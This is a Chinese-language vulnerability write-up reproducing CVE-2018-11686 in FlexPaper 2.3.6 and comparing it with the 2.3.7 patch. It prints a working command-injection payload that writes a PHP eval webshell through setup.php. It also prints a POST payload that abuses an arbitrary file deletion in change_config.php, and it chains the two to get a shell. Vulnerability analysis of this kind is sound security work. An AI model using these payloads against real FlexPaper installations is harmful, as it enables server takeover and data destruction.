CVE-2018-11686本地复现与分析

简介

FlexPaper <= 2.3.6 (web版) 中存在RCE(远程代码执行),构造恶意的payload执行系统命令。

 

FlexPaper

       FlexPaper是一个开源轻量级的在浏览器上显示各种文档的组件,被设计用来与PDF2SWF一起使用, 使在Flex中显示PDF成为可能,而这个过程并无需PDF软件环境的支持。它可以被当做Flex的库来使用----------------------------百度百科

功能原理:

Flexpaper是一个flash播放器,它可以播放一帧一页的flash,文档通过工具(Pdf2swf)把PDF文件生成swf,使用已经编译好的FlexPaper的flash版本实现在线预览播放

 

本地环境

phpstudy    windows

源码~     链接:https://pan.baidu.com/s/1C4r96f1zuo2oiv_4igbZEw  提取码:ulhc 
 

 

漏洞成因

在目录 /php 下的 安装文件setup.php 中 ,pdf2swfEnabled函数中存在函数exec(),可执行系统命令,未进行校验,直接执行

CVE-2018-11686本地复现与分析_第1张图片

 

而变量 $path_to_pdf2swf 可控,可以由外部传入

CVE-2018-11686本地复现与分析_第2张图片

 

漏洞触发,变量 $path_to_pdf2swf (恶意的payload)连接 变量 $pdf2swf_exec,传入pdf2swfEnabled函数中,被执行

CVE-2018-11686本地复现与分析_第3张图片

 

本地环境是windows,所以执行

exec('"' . $path_to_pdf2swf . '"' . ' --version 2>&1', $out);

此时变量 $pdf2swf_exec   字符串 "pdf2swf.exe" 

所以我们构造 payload写入一句话到666.php 

* 在windows下  特殊符号在cmd下需要转码 使用 ^ ,linux 一般使用 base64编码

'"'.aaa%26echo %5E%3C%3Fphp%20eval^(^$^_POST^[123^]^); ?^> > 666.php%26bbb%20

 

效果

CVE-2018-11686本地复现与分析_第4张图片

当然,这个漏洞到目前为止还是很鸡肋的,漏洞触发点是在安装文件 setup.php中触发,当我们完成安装,部署到网站时,

再次访问setup.php会跳转到index.php中,因此,在配置过程完成后,无法用任意用户输入命中“ exec() ”函数。

CVE-2018-11686本地复现与分析_第5张图片

 

任意文件删除漏洞

漏洞发现者又在目录 /php 下的 change_config.php 中,发现存在任意文件删除漏洞

 

访问change_config.php时会进行授权检查  检查 SESSION中的"FLEXPAPER_AUTH" ,但是这个检查是发生在删除之后,

所以我们可以实现让任意用户进行 任意文件删除的操作。

CVE-2018-11686本地复现与分析_第6张图片

CVE-2018-11686本地复现与分析_第7张图片

脚本会删除在 “ path.swf ”  下配置的目录中的所有文件,但是由于路径等参数可控,我们就可以指定需要删除的文件

 

payload,指定需要删除的文件目录,删除后,使得我们可以访问setup.php

SAVE_CONFIG=1&
PDF_Directory=D:\\php\\PHPTutorial\\WWW\\FlexPaper\\pdf&
SWF_Directory=config\\&
LICENSEKEY=&SPLITMODE=1&RenderingOrder_PRIM=flash&RenderingOrder_SEC=html

 

效果

原目录 \php\config 下文件                          

CVE-2018-11686本地复现与分析_第8张图片

执行后,config.ini.nix.php文件被删除,跳转到setup.php安装页面

CVE-2018-11686本地复现与分析_第9张图片

CVE-2018-11686本地复现与分析_第10张图片

 

总体思路:通过任意文件删除的漏洞删除指定文件  使得我们可以访问 setup.php 进而执行系统命令getshell

 

补丁对比

左边是版本banb2.3.6 ,右边是版本2.3.7

 

setup.php

增加了对变量$path_to_pdf2swf 和变量 $path_to_pdf2json 的判断,进行校验 函数返回绝对路径,错误返回为空

CVE-2018-11686本地复现与分析_第11张图片

 

CVE-2018-11686本地复现与分析_第12张图片


change_config.php

在代码前段增加 验证SESSION会话的语句,存在setup.php 则exit

CVE-2018-11686本地复现与分析_第13张图片

 

CVE-2018-11686本地复现与分析_第14张图片

 

总结

漏洞成因还是很简单的,没有做什么校验,过滤,但是漏洞挖掘者的思路还是很有想法的,依赖任意删除文件漏洞去过掉setup.php的访问权限,进而使得鸡肋漏洞变成 高危,思路值得学习~

 

参考链接:

https://redtimmysec.wordpress.com/

 

你可能感兴趣的:(FlexPaper,FlowPaper,RCE,任意文件删除,远程代码执行,漏洞利用)